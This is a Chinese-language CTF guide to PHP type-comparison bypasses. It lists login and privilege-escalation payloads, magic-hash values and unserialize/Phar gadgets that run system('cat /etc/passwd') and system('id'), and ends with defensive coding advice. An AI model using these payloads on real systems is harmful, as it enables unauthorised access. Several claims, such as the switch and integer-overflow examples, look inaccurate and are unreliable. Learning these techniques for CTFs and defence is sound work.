php弱类型和强类型绕过

Ant大约 6 分钟

php弱类型和强类型绕过

一、弱类型比较原理与基础

1. PHP弱类型比较原理

// ZVAL结构自动类型转换
"123abc" == 123      // true - 字符串转数字取前导数字
"abc" == 0           // true - 无数字字符串转为0
"0e123" == "0e456"   // true - 科学计数法都等于0
true == "nonempty"   // true - 非空字符串转布尔
false == ""          // true - 空字符串转布尔
null == 0            // true - NULL与0等价
[] == false          // true - 空数组转布尔

2. 常用弱类型比较表

值A值B==结果原理
"123abc"123true字符串转数字
"abc"0true非数字字符串转0
"0e123""0e456"true科学计数法等于0
true"nonempty"true非空字符串转true
false""true空字符串转false
false"0"true字符串"0"转false
null""trueNULL与空字符串等价
[]falsetrue空数组转false
[0]truetrue非空数组转true

二、弱类型比较绕过技巧

1. 字符串转数字绕过

// 登录认证绕过
if ($_POST['password'] == $stored_password) {
    // 认证通过
}

// 绕过payload
password=0          // 如果存储密码是字符串"0"
password=123abc     // 如果存储密码是数字123

2. 布尔值转换绕过

// 管理员检查
if ($_GET['is_admin'] == 1) {
    $is_admin = true;
}

// 绕过payload
?is_admin=true
?is_admin=any_non_empty_string
?is_admin[]=1

3. 数组绕过技巧

// 多种数组绕过场景
?param[]=1          // 数组转布尔为true
?param[]=0          // 非空数组仍为true

// 函数参数数组绕过
strcmp($password, $secret)        // 传入password[]=1返回NULL
md5($input)                       // 传入input[]=1返回NULL
sha1($input)                      // 传入input[]=1返回NULL

(1) NULL和空值绕过

// NULL比较绕过
if ($input != null && $input == $expected) {
    // 逻辑
}

// 绕过:传入未定义变量或空值

三、MD5弱类型比较绕过

1. 0e开头的MD5碰撞值

// 常用MD5 0e碰撞对
"QNKCDZO"      => md5("QNKCDZO") = 0e830400451993494058024219903391
"240610708"    => md5("240610708") = 0e462097431906509019562988736854
"s878926199a"  => md5("s878926199a") = 0e545993274517709034328855841020
"s155964671a"  => md5("s155964671a") = 0e224554469729743682514287925705
"s214587387a"  => md5("s214587387a") = 0e848240448830537924465865611904
"s1091221200a" => md5("s1091221200a") = 0e940624217304561344328734924278

2. SHA1 0e碰撞值

"10932435112" => sha1("10932435112") = 0e07766915004133176347055865026311692244
"aaroZmOk"    => sha1("aaroZmOk") = 0e66507019969427134894567494305185566735
"aaK1STfY"    => sha1("aaK1STfY") = 0e76658526655756207688271159624026011393

3. 数组绕过MD5比较

// MD5处理数组返回NULL
md5([]) === NULL
md5($a) == md5($b)   // 当$a和$b都是数组时,NULL == NULL

// 实战payload
POST /login.php
username=admin&password[]=1

(1)MD5比较绕过场景

// 场景1:直接MD5比较
if (md5($_GET['a']) == md5($_GET['b'])) {
    // 绕过:a=QNKCDZO&b=240610708
    // 绕过:a[]=1&b[]=2
}

// 场景2:MD5与固定值比较
if (md5($input) == "0e123456...") {
    // 绕过:input=已知的0e开头MD5原值
}

四、强类型比较绕过技巧

1. 反序列化对象注入

// 漏洞代码
class User {
    public $is_admin = false;
}

$user = unserialize($_GET['data']);
if ($user->is_admin === true) {
    // 管理员操作
}

// 绕过payload
data=O:4:"User":1:{s:8:"is_admin";b:1;}

2. 魔术方法利用

class AdminCheck {
    private $admin = false;
    
    public function __wakeup() {
        // 反序列化时自动执行
        $this->admin = true;
    }
    
    public function __destruct() {
        if ($this->admin) {
            // 执行管理员操作
        }
    }
}

// 绕过:通过反序列化触发魔术方法

3. 类型混淆进阶技巧

// 数字溢出绕过
if ($input === 2147483647) {
    // 32位系统:2147483648 溢出为 -2147483648
}

// 浮点数精度问题
if ($float === 0.1) {
    // 0.1 + 0.2 !== 0.3
    // 利用精度误差
}

// 特殊字符串处理
if (strpos($input, "admin") === false) {
    // 如果$input是数组,strpos返回NULL,NULL === false 为 false
}

4. 函数特性绕过

// preg_match() 数组绕过
if (preg_match('/^[a-z]+$/', $_POST['input'])) {
    // 如果input是数组,preg_match返回false,条件不成立
}

// in_array() 严格模式缺失
$allowed = ['1', '2', '3'];
if (in_array($_GET['id'], $allowed)) {
    // 忘记严格模式,id=1(整数)可以匹配'1'
}

// switch 类型自动转换
switch ($_GET['type']) {
    case 'admin':
        // 管理员逻辑
        break;
    case 'user':
        // 用户逻辑
        break;
}
// 绕过:type=0 匹配到第一个case(PHP将字符串与0比较)

5. Phar反序列化攻击

// 利用phar协议触发反序列化
file_exists('phar://malicious.phar/test.txt');

// 构造恶意phar文件
class Exploit {
    public function __wakeup() {
        system('cat /etc/passwd');
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new Exploit());
$phar->stopBuffering();

五、CTF实战场景与Payload

1. 登录认证绕过场景

# 弱类型比较登录
POST /login.php
username=admin&password=0

# MD5哈希绕过  
POST /login.php
username=admin&password=QNKCDZO

# 数组绕过哈希检查
POST /login.php  
username=admin&password[]=1

# JSON格式绕过
POST /api/login
{"username":"admin","password":true}

2. 管理员权限提升场景

# 布尔值转换
GET /admin.php?is_admin=true
GET /admin.php?is_admin=1

# 科学计数法
GET /admin.php?role=0e123

# 反序列化对象注入
GET /admin.php?data=O:11:"AdminObject":1:{s:6:"admin";b:1;}

# 数组键名覆盖
GET /admin.php?user[id]=0&user[admin]=1

3. 哈希比较绕过场景

# MD5 0e碰撞
GET /compare.php?a=QNKCDZO&b=240610708

# 数组绕过哈希
GET /compare.php?a[]=1&b[]=2

# SHA1碰撞
GET /verify.php?hash1=10932435112&hash2=aaroZmOk

4. 文件包含与反序列化

# Phar反序列化
GET /view.php?file=phar://uploads/exploit.phar/test.txt

# 数据流包装器
GET /include.php?page=data://text/plain,<?php system('id');?>

# 反序列化链
POST /api.php
data=O:15:"VulnerableClass":2:{s:4:"code";s:10:"system(id)";s:6:"method";s:6:"system";}

六、防御措施与安全编码

1. 输入验证与过滤

// 严格类型检查
function validate_input($input, $expected_type) {
    if (gettype($input) !== $expected_type) {
        return false;
    }
    return true;
}

// 白名单验证
$allowed_values = ['admin', 'user', 'guest'];
if (!in_array($input, $allowed_values, true)) {  // 注意严格模式
    return false;
}

2. 安全比较函数

// 使用hash_equals防止时序攻击
if (hash_equals($hashed_password, md5($input))) {
    // 认证通过
}

// 类型安全比较
function safe_equals($a, $b) {
    if (gettype($a) !== gettype($b)) {
        return false;
    }
    return $a === $b;
}

3. 安全反序列化

// 限制反序列化类
$allowed_classes = ['SafeClass1', 'SafeClass2'];
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);

// 使用json替代序列化
$data = json_decode($input, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    // 处理错误
}

4. 安全配置

// 禁用危险函数
disable_functions = exec,system,passthru,shell_exec

// 限制文件操作
open_basedir = /var/www/html

// 错误报告设置
display_errors = Off
log_errors = On

七、CTF解题检查清单

遇到类型比较时的检查步骤:

第一步:识别比较类型

查看使用的是 == 还是 ===

检查比较的变量类型

第二步:尝试基础绕过

// 弱类型比较尝试
尝试: 0, true, false, null, [], 科学计数法

// MD5比较尝试  
尝试: 已知0e碰撞值、数组绕过

第三步:高级绕过尝试

// 强类型比较尝试
反序列化对象注入
Phar反序列化
函数特性绕过
类型混淆技巧

第四步:组合利用

// 多步骤利用
反序列化 + 魔术方法
文件包含 + Phar
数组绕过 + 函数特性

常用Payload速查表:

弱类型比较: 0, true, "0e123", [], "123abc"
MD5绕过: QNKCDZO, 240610708, s878926199a, 数组
强类型绕过: 反序列化对象、Phar、函数参数数组

这份指南涵盖了CTF中PHP类型比较漏洞的主要攻击面和防御方法,在比赛过程中可以根据具体场景快速查阅对应的绕过技巧。记住要根据实际代码逻辑选择合适的payload,多尝试不同的组合方式!

Loading...